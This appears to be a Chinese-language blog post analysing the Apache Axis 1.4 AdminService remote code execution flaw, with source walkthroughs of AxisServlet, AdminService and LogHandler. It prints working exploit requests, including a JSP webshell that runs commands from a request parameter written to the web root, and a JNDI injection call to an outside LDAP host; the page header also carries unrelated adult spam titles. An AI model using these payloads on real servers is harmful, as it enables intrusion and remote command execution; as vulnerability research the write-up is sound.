国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

Java安全之Axis漏洞分析

番茄西紅柿 / 3599人閱讀

摘要:安全之漏洞分析安全之漏洞分析前言前言看到個別代碼常出現里面有一些組件,沒去仔細研究過該漏洞。文件寫入成功重新打開文件發現內容已經發生了變化整理整理請求請求調用該方式寫文件需要解析,遇到就涼涼。至此再一次佩服漏洞挖掘者。

Java安全之Axis漏洞分析

0x00 前言

看到個別代碼常出現里面有一些Axis組件,沒去仔細研究過該漏洞。研究記錄一下。

0x01 漏洞復現

漏洞版本:axis=<1.4

Axis1.4

freemarker

下載Axis包1.4版本將Axis放到tomcat的webapp目錄中。freemarker.jar放到Axis的 lib目錄下。運行tomcat即可。

WEB-INF/web.xml 中將該配置取消注釋

      AdminServlet    /servlet/AdminServlet  

原創復現需要將/WEB-INF下面的server-config.wsdd文件中的內容進行編輯一下

        http://xml.apache.org/axis/wsdd/ 

enableRemoteAdmin的值改成true運行遠程調用。

server-config.wsdd文件會在遠程機器訪問/servlet/AdminServlet路由時候進行創建。

接下來對該接口進行發送payload測試

                                                 

爆了一個ns1:Client.NoSOAPAction錯誤。

看了一下AdminServlet的代碼,發現dopost方法里面調用的getSoapAction這個判斷邏輯貌似有點問題

上面req.getHeader("SOAPAction");獲取header里面SOAPAction的值,如果為空則取Content-Type里面的action。都為空則直接返回,來到下面這段邏輯。

    if (soapAction == null) {      AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null);      exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af);      throw af;    } 

這里只需要header加入SOAPAction參數,填充任意值,讓服務端獲取到不為空,能解決了這個問題。

使用上面payload,創建好惡意的service后,下面來調用一下惡意的service。

/axis/services/RandomService

payload:

                                    <% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>]]>                      

文件寫入成功

重新打開server-config.wsdd文件發現內容已經發生了變化

payload整理

org.apache.axis.handlers.LogHandler

POST請求:

POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 777                                                                                                                

GET請求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache

調用service:

POST /axis/services/randomBBB HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 700                     ]]>         ?         

該方式寫文件需要解析,遇到Springboot就涼涼。

org.apache.axis.client.ServiceFactory

POST請求:

POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Connection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept-Language: en-US,en;q=0.5SOAPAction: somethingUpgrade-Insecure-Requests: 1Content-Type: application/xmlAccept-Encoding: gzip, deflateContent-Length: 750                                        

GET請求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache

調用service:

POST /axis/services/ServiceFactoryService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 891                                                            jndiName               ldap://xxx.xx.xx.xxx:8888/Exploit                              

這個點需要利用JNDI注入

com.sun.script.javascript.RhinoScriptEngine

POST請求:

POST /axis/services/AdminService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 905                                                        

GET請求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1Host: 127.0.0.1:8080User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cache

調用service:

POST /axis/services/RhinoScriptEngineService HTTP/1.1Host: 127.0.0.1:8080Content-Type: text/xml; charset=utf-8Accept: application/soap+xml, application/dime, multipart/related, text/*User-Agent: Axis/1.4Cache-Control: no-cachePragma: no-cacheSOAPAction: ""Content-Length: 866

該方式有JDK版本要求 JDK版本必須要為7或7以下版本。JDK7版本后ScriptEngine被廢除了,使用了NashornScriptEngine進行代替,NashornScriptEngine類不能直接被利用

解析流程分析

Init

      AxisServlet    Apache-Axis Servlet            org.apache.axis.transport.http.AxisServlet      ...     AxisServlet    /services/*  

看到org.apache.axis.transport.http.AxisServlet

public void init() throws ServletException {        super.init();        ServletContext context = this.getServletConfig().getServletContext();        isDebug = log.isDebugEnabled();        if (isDebug) {            log.debug("In servlet init");        }        this.transportName = this.getOption(context, "transport.name", "http");        if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) {            this.securityProvider = new ServletSecurityProvider();        }        this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null));        this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null);        this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false"));        this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/");        if (this.jwsClassDir != null) {            if (this.getHomeDir() != null) {                this.jwsClassDir = this.getHomeDir() + this.jwsClassDir;            }        } else {            this.jwsClassDir = this.getDefaultJWSClassDir();        } //初始化查詢Handler,即wsdl對應的handler,用于wsdl文件生成            this.initQueryStringHandlers();        try {            ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo());        } catch (AxisFault var3) {            exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3);        }    }

把所有以jws結尾或者services路徑的的URL均由AxisServlet進行處理

super.init();

org.apache.axis.transport.http.init

  public void init() throws ServletException {        ServletContext context = this.getServletConfig().getServletContext();        this.webInfPath = context.getRealPath("/WEB-INF");        this.homeDir = context.getRealPath("/");        isDebug = log.isDebugEnabled();        if (log.isDebugEnabled()) {            log.debug("In AxisServletBase init");        }        this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null));    }

org.apache.axis.transport.http.getOption

 protected String getOption(ServletContext context, String param, String dephault) {        String value = AxisProperties.getProperty(param);        if (value == null) {            value = this.getInitParameter(param);        }        if (value == null) {            value = context.getInitParameter(param);        }        try {            AxisServer engine = getEngine(this);            if (value == null && engine != null) {                value = (String)engine.getOption(param);            }        } catch (AxisFault var6) {        }        return value != null ? value : dephault;    }

org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {        AxisServer engine = null;        if (isDebug) {            log.debug("Enter: getEngine()");        }        ServletContext context = servlet.getServletContext();        synchronized(context) {            engine = retrieveEngine(servlet);            if (engine == null) {                Map environment = getEngineEnvironment(servlet);                engine = AxisServer.getServer(environment);                engine.setName(servlet.getServletName());                storeEngine(servlet, engine);            }        }        if (isDebug) {            log.debug("Exit: getEngine()");        }        return engine;    }

org.apache.axis.transport.http.getEngineEnvironment

從當前上下文中獲取AxisServer Engine,如果返回為null,則進行初始化并存儲至上下文中

 protected static Map getEngineEnvironment(HttpServlet servlet) {        Map environment = new HashMap();        String attdir = servlet.getInitParameter("axis.attachments.Directory");        if (attdir != null) {            environment.put("axis.attachments.Directory", attdir);        }        ServletContext context = servlet.getServletContext();        environment.put("servletContext", context);        String webInfPath = context.getRealPath("/WEB-INF");        if (webInfPath != null) {            environment.put("servlet.realpath", webInfPath + File.separator + "attachments");        }        EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();        if (config != null) {            environment.put("engineConfig", config);        }        return environment;    }

這里返回的是一個org.apache.axis.configuration.EngineConfigurationFactoryServlet工廠實例

調用getServerEngineConfig來到org.apache.axis.configuration.getServerEngineConfig,

EngineConfigurationFactoryFinder.newFactory(servlet)返回org.apache.axis.configuration.EngineConfigurationFactoryServlet工廠實例,并通過private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)新建EngineConfiguration實現類:FileProvider對象(即server-config.wsdd的文件操作類)

代碼流程回到getEngineEnvironment

protected static Map getEngineEnvironment(HttpServlet servlet) {    Map environment = new HashMap();    String attdir = servlet.getInitParameter("axis.attachments.Directory");    if (attdir != null) {        environment.put("axis.attachments.Directory", attdir);    }    ServletContext context = servlet.getServletContext();    environment.put("servletContext", context);    String webInfPath = context.getRealPath("/WEB-INF");    if (webInfPath != null) {        environment.put("servlet.realpath", webInfPath + File.separator + "attachments");    }    EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();    if (config != null) {        environment.put("engineConfig", config);    }    return environment;}

environment.put("engineConfig", config);

把剛剛讀取server-config.wsdd的對象,存儲到map中進行返回。

邏輯走到org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {    AxisServer engine = null;    if (isDebug) {        log.debug("Enter: getEngine()");    }    ServletContext context = servlet.getServletContext();    synchronized(context) {        engine = retrieveEngine(servlet);        if (engine == null) {            Map environment = getEngineEnvironment(servlet);            engine = AxisServer.getServer(environment);            engine.setName(servlet.getServletName());            storeEngine(servlet, engine);        }    }

org.apache.axis.server.AxisServer

public static AxisServer AxisServer(Map environment) throws AxisFault {        if (factory == null) {            String factoryClassName = AxisProperties.getProperty("axis.ServerFactory");            if (factoryClassName != null) {                try {                    Class factoryClass = ClassUtils.forName(factoryClassName);                    if ((class$org$apache$axis$server$AxisServerFactory == null ? (class$org$apache$axis$server$AxisServerFactory = class$("org.apache.axis.server.AxisServerFactory")) : class$org$apache$axis$server$AxisServerFactory).isAssignableFrom(factoryClass)) {                        factory = (AxisServerFactory)factoryClass.newInstance();                    }                } catch (Exception var3) {                    log.error(Messages.getMessage("exception00"), var3);                }            }            if (factory == null) {                factory = new DefaultAxisServerFactory();            }        }        return factory.getServer(environment);    }

加載到重載getServer方法

public AxisServer getServer(Map environment) throws AxisFault {        log.debug("Enter: DefaultAxisServerFactory::getServer");        AxisServer ret = createServer(environment);        if (ret != null) {            if (environment != null) {                ret.setOptionDefault("attachments.Directory", (String)environment.get("axis.attachments.Directory"));                ret.setOptionDefault("attachments.Directory", (String)environment.get("servlet.realpath"));            }            String attachmentsdir = (String)ret.getOption("attachments.Directory");            if (attachmentsdir != null) {                File attdirFile = new File(attachmentsdir);                if (!attdirFile.isDirectory()) {                    attdirFile.mkdirs();                }            }        }        log.debug("Exit: DefaultAxisServerFactory::getServer");        return ret;    }
  private static AxisServer createServer(Map environment) {        EngineConfiguration config = getEngineConfiguration(environment);        return config == null ? new AxisServer() : new AxisServer(config);    }
 public AxisServer(EngineConfiguration config) {        super(config);        this.running = true;        this.setShouldSaveConfig(true);    }

org.apache.axis.AxisEngine

public AxisEngine(EngineConfiguration config) {    this.config = config;    this.init();}

org.apache.axis.AxisEngine

public void init() {    if (log.isDebugEnabled()) {        log.debug("Enter: AxisEngine::init");    }    try {        this.config.configureEngine(this);    } catch (Exception var2) {        throw new InternalException(var2);    }

org.apache.axis.configuration.FileProvider

public void configureEngine(AxisEngine engine) throws ConfigurationException {        try {            if (this.getInputStream() == null) {                try {                    this.setInputStream(new FileInputStream(this.configFile));                } catch (Exception var3) {                    if (this.searchClasspath) {                        this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true));                    }                }            }            if (this.getInputStream() == null) {                throw new ConfigurationException(Messages.getMessage("noConfigFile"));            } else {                WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream()));                //部署或者取消部署,這個得看文檔配置                this.deployment = doc.getDeployment();                //定義所有數據配置此AxisEngine                this.deployment.configureEngine(engine);                //刷新內容                engine.refreshGlobalOptions();                this.setInputStream((InputStream)null);            }        } catch (Exception var4) {            throw new ConfigurationException(var4);        }    }

以上這整體解析流程為configureEngine解析server-config.wsdd服務配置。將配置文件中的各種屬性handlerglobalConfigurationservicetransport緩存至WSDDDeployment類中。刷新global配置選項即將server-config.wsdd配置文件中globalConfiguration節點中的parameter屬性集合由AxisEngine持有。

以上就已經完成了init的

doGet

看到doGet

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    if (isDebug) {        log.debug("Enter: doGet()");    }    FilterPrintWriter writer = new FilterPrintWriter(response);    try {        AxisEngine engine = this.getEngine();        ServletContext servletContext = this.getServletConfig().getServletContext();        String pathInfo = request.getPathInfo();        String realpath = servletContext.getRealPath(request.getServletPath());        if (realpath == null) {            realpath = request.getServletPath();        }        boolean isJWSPage = request.getRequestURI().endsWith(".jws");        if (isJWSPage) {            pathInfo = request.getServletPath();        }        if (this.processQuery(request, response, writer)) {            return;        }

獲取請求URI中為jws結尾的則調用request.getServletPath();

例如/axis/EchoHeaders.jws?wsdl使用pathInfo則等于EchoHeaders.jws

然后下面由processQuery方法來進行解析

上面是一系列的獲取請求路徑,來直接看到下面代碼,下面代碼進行了遍歷

到這里把server-config.wsdd的配置內容都給加載了進來,下面根據查詢條件字符串(即wsdl),通過與server-config.wsddtransport節點parameter屬性匹配,查找對應的handler。

繼續來看解析流程

看到獲取handler的步驟。因為這里是wsdl的方式去請求,所以這里獲取到的是QSWSDLHandler類,下面會進行反射去調用invoke方法

public void invoke(MessageContext msgContext) throws AxisFault {    this.configureFromContext(msgContext);    AxisServer engine = (AxisServer)msgContext.getProperty("transport.http.plugin.engine");    PrintWriter writer = (PrintWriter)msgContext.getProperty("transport.http.plugin.writer");    HttpServletResponse response = (HttpServletResponse)msgContext.getProperty(HTTPConstants.MC_HTTP_SERVLETRESPONSE);    try {        engine.generateWSDL(msgContext);        Document wsdlDoc = (Document)msgContext.getProperty("WSDL");        if (wsdlDoc != null) {            try {                this.updateSoapAddressLocationURLs(wsdlDoc, msgContext);            } catch (RuntimeException var7) {                this.log.warn("Failed to update soap:address location URL(s) in WSDL.", var7);            }            response.setContentType("text/xml; charset=" + XMLUtils.getEncoding().toLowerCase());            this.reportWSDL(wsdlDoc, writer);        } else {            if (this.log.isDebugEnabled()) {                this.log.debug("processWsdlRequest: failed to create WSDL");            }            this.reportNoWSDL(response, writer, "noWSDL02", (AxisFault)null);        }    } catch (AxisFault var8) {        if (!var8.getFaultCode().equals(Constants.QNAME_NO_SERVICE_FAULT_CODE)) {            throw var8;        }        this.processAxisFault(var8);        response.setStatus(404);        this.reportNoWSDL(response, writer, "noWSDL01", var8);    }}

這里這一大串代碼則是創建對應得WSDL并且進行返回的步驟。

將生成wsdl任務交給server-config.wsdd所配置的一系列Handler,其執行順序為
transport【requestFlow】---->globalConfiguration【requestFlow】---->service【requestFlow】---->service【responseFlow】---->globalConfiguration【responseFlow】---->transport【responseFlow】
針對jws的服務通過JWSHandler處理。

再來看到jws的服務處理的Handler

org.apache.axis.handlers.JWSHandler

  public void invoke(MessageContext msgContext) throws AxisFault {        if (log.isDebugEnabled()) {            log.debug("Enter: JWSHandler::invoke");        }        try {            this.setupService(msgContext);        } catch (Exception var3) {            log.error(Messages.getMessage("exception00"), var3);            throw AxisFault.makeFault(var3);        }    }

以上代碼主要完成將jws轉換成java文件,并臨時存放至jwsClasses目錄中,再通過jdk中的編譯器sun.tools.javac.Maincom.sun.tools.javac.main.Main對java文件進行編譯,將編譯后的class文件存放至jwsClasses目錄中,刪除臨時java文件,并將生成的class二進制文件加載至類加載器中。
rpc = new SOAPService(new RPCProvider());
增加Handler實例RPCProvider(繼承BasicProvider)到當前handler鏈中

DoPost

來到dopost里面來看邏輯

前面獲取一些請求路徑和context、Engine等內容,在這里就不看了

org.apache.axis.server.AxisServer#invoke

if (hName != null && (h = this.getTransport(hName)) != null && h instanceof SimpleTargetedChain) {                        transportChain = (SimpleTargetedChain)h;                        h = transportChain.getRequestHandler();                        if (h != null) {                            h.invoke(msgContext);                        }                    }

hName這個值為http,this.getTransport(hName)server-config.wsdd獲取值

h.invoke(msgContext);

//循環訪問調用每個處理程序的鏈public void invoke(MessageContext msgContext) throws AxisFault {    if (log.isDebugEnabled()) {        log.debug("Enter: SimpleChain::invoke");    }    this.invoked = true;    this.doVisiting(msgContext, iVisitor);    if (log.isDebugEnabled()) {        log.debug("Exit: SimpleChain::invoke");    }}

this.doVisiting(msgContext, iVisitor);

org.apache.axis.SimpleChain#doVisiting

 private void doVisiting(MessageContext msgContext, HandlerIterationStrategy visitor) throws AxisFault {        int i = 0;        try {            for(Enumeration enumeration = this.handlers.elements(); enumeration.hasMoreElements(); ++i) {                Handler h = (Handler)enumeration.nextElement();                visitor.visit(h, msgContext);            }        } catch (AxisFault var6) {            if (!msgContext.isPropertyTrue(this.CAUGHTFAULT_PROPERTY)) {                Message respMsg = new Message(var6);                msgContext.setResponseMessage(respMsg);                msgContext.setProperty(this.CAUGHTFAULT_PROPERTY, Boolean.TRUE);            }

visitor.visit(h, msgContext);

遍歷XML內容,調用method.invoke

到這里則完成service的調用。

至于這里為什么是MsgProvider是因為在server-config.wsdd中的配置

0x02 漏洞分析

漏洞分析

org.apache.axis.utils.Admin#AdminService

public Element[] AdminService(Element[] xml) throws Exception {    log.debug("Enter: Admin::AdminService");    MessageContext msgContext = MessageContext.getCurrentContext();    Document doc = this.process(msgContext, xml[0]);    Element[] result = new Element[]{doc.getDocumentElement()};    log.debug("Exit: Admin::AdminService");    return result;}

this.process(msgContext, xml[0]);來看這個地方

public Document process(MessageContext msgContext, Element root) throws Exception {    this.verifyHostAllowed(msgContext);    String rootNS = root.getNamespaceURI();    AxisEngine engine = msgContext.getAxisEngine();    if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {        return processWSDD(msgContext, engine, root);    } else {        throw new Exception(Messages.getMessage("adminServiceNoWSDD"));    }}

this.verifyHostAllowed(msgContext);

private void verifyHostAllowed(MessageContext msgContext) throws AxisFault {    Handler serviceHandler = msgContext.getService();    if (serviceHandler != null && !JavaUtils.isTrueExplicitly(serviceHandler.getOption("enableRemoteAdmin"))) {        String remoteIP = msgContext.getStrProp("remoteaddr");        if (remoteIP != null && !remoteIP.equals("127.0.0.1") && !remoteIP.equals("0:0:0:0:0:0:0:1")) {            try {                InetAddress myAddr = InetAddress.getLocalHost();                InetAddress remoteAddr = InetAddress.getByName(remoteIP);                if (log.isDebugEnabled()) {                    log.debug("Comparing remote caller " + remoteAddr + " to " + myAddr);                }                if (!myAddr.equals(remoteAddr)) {                    log.error(Messages.getMessage("noAdminAccess01", remoteAddr.toString()));                    throw new AxisFault("Server.Unauthorized", Messages.getMessage("noAdminAccess00"), (String)null, (Element[])null);                }            } catch (UnknownHostException var6) {                throw new AxisFault("Server.UnknownHost", Messages.getMessage("unknownHost00"), (String)null, (Element[])null);            }        }    }}

上面這個地方獲取了enableRemoteAdmin的值進行判斷這個enableRemoteAdmin是否為True,如果不為Ture,則判斷遠程請求的地址是否為本機訪問。如果都不是則直接拋出異常。

繼續看到processWSDD(msgContext, engine, root);位置

engine.saveConfiguration();

 public void saveConfiguration() {        if (this.shouldSaveConfig) {            try {                this.config.writeEngineConfig(this);            } catch (Exception var2) {                log.error(Messages.getMessage("saveConfigFail00"), var2);            }        }    }

org.apache.axis.configuration.FileProvider#writeEngineConfig

這個地方會將請求過來的xml數據寫入到server-config.wsdd文件里面

而根據前面的分析得知,調用和配置service等操作都是由這個文件來進行獲取的配置信息。那么接下來的東西就一目了然了。

漏洞利用

前面復現漏洞中發現payload打完后server-config.wsdd多了一串配置,往下看

     

配置了一個LogHandler

org.apache.axis.handlers.soap.SOAPService#invoke

public void invoke(MessageContext msgContext) throws AxisFault {    log.debug("Enter: LogHandler::invoke");    if (!msgContext.getPastPivot()) {        this.start = System.currentTimeMillis();    } else {        this.logMessages(msgContext);    }    log.debug("Exit: LogHandler::invoke");}
private void logMessages(MessageContext msgContext) throws AxisFault {    try {        PrintWriter writer = null;        writer = this.getWriter();        Message inMsg = msgContext.getRequestMessage();        Message outMsg = msgContext.getResponseMessage();        writer.println("=======================================================");        if (this.start != -1L) {            writer.println("= " + Messages.getMessage("elapsed00", "" + (System.currentTimeMillis() - this.start)));        }        writer.println("= " + Messages.getMessage("inMsg00", inMsg == null ? "null" : inMsg.getSOAPPartAsString()));        writer.println("= " + Messages.getMessage("outMsg00", outMsg == null ? "null" : outMsg.getSOAPPartAsString()));        writer.println("=======================================================");        if (!this.writeToConsole) {            writer.close();        }    } catch (Exception var5) {        log.error(Messages.getMessage("exception00"), var5);        throw AxisFault.makeFault(var5);    }}

this.getWriter();

private PrintWriter getWriter() throws IOException {    PrintWriter writer;    if (this.writeToConsole) {        writer = new PrintWriter(System.out);    } else {        if (this.filename == null) {            this.filename = "axis.log";        }        writer = new PrintWriter(new FileWriter(this.filename, true));    }    return writer;}

這里對this.filename在前面初始化時候,我們構造了他的數據中定義成了../webapps/ROOT/shell.jsp,讓他寫到跟目錄下。

里面還構造了一個this.writeToConsole=false的數據。

是因為我們需要在調用的時候將請求的內容寫入到log日志中,即../webapps/ROOT/shell.jsp文件。

看到下面代碼

  if (!this.writeToConsole) {            writer.close();        }

這里如果為true,會將這個文件流給關閉掉。

參考文章

Apache Axis1 與 Axis2 WebService 的漏洞利用總結

Axis源碼分析-Web服務部署(二)

0x03 結尾

漏洞分析篇幅不是很長,整體來說這個漏洞其實就是一個文件任意寫入,但由于這個組件的一些特性。即通過server-config.wsdd來初始化和配置service,那么就可以寫入一個惡意的service,到該文件中,進行調用實現RCE的效果。在復現漏洞中,發現需要/servlet/AdminServlet取消這個路由的注釋,實際上在測試中發現,訪問該路由會自動生成server-config.wsdd文件,我們需要的是該文件。有server-config.wsdd文件,/servlet/AdminServlet存不存在就顯得沒那么重要了。至此再一次佩服漏洞挖掘者。

文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。

轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/125369.html

相關文章

  • 如何理解Axis

    摘要:一句話總結可以方便我們將數據進行不同維度的處理。一理解如果你像我一樣,發現中有這個參數,但不知道是什么意思。一旦維數超過二維,就無法用簡單的行和列來表示了。 showImg(https://segmentfault.com/img/remote/1460000018678067?w=1600&h=900); 前言 只有光頭才能變強。 回顧前面: 從零開始學TensorFlow【01-...

    huashiou 評論0 收藏0
  • 分布式服務框架遠程通訊技術及原理分析

    摘要:微軟的雖然引入了事件機制,可以在隊列收到消息時觸發事件,通知訂閱者。由微軟作為主要貢獻者的,則對以及做了進一層包裝,并能夠很好地實現這一模式。 在分布式服務框架中,一個最基礎的問題就是遠程服務是怎么通訊的,在Java領域中有很多可實現遠程通訊的技術,例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等,這些名詞之間到底是些什么關系呢,它們背后到底是基...

    sorra 評論0 收藏0
  • 分布式服務框架遠程通訊技術及原理分析

    摘要:微軟的雖然引入了事件機制,可以在隊列收到消息時觸發事件,通知訂閱者。由微軟作為主要貢獻者的,則對以及做了進一層包裝,并能夠很好地實現這一模式。 在分布式服務框架中,一個最基礎的問題就是遠程服務是怎么通訊的,在Java領域中有很多可實現遠程通訊的技術,例如:RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等,這些名詞之間到底是些什么關系呢,它們背后到底是基...

    0xE7A38A 評論0 收藏0
  • Pandas庫基礎分析——數據規整化處理

    摘要:前言在數據分析和建模之前需要審查數據是否滿足數據處理應用的要求,以及對數據進行清洗,轉化,合并,重塑等一系列規整化處理。通過數據信息查看可知數據中存在缺失值,比如各存在個,各存在個。 前言 在數據分析和建模之前需要審查數據是否滿足數據處理應用的要求,以及對數據進行清洗,轉化,合并,重塑等一系列規整化處理。pandas標準庫提供了高級靈活的方法,能夠輕松地將數據規整化為正確的形式,本文通...

    roundstones 評論0 收藏0

發表評論

0條評論

最新活動
閱讀需要支付1元查看
<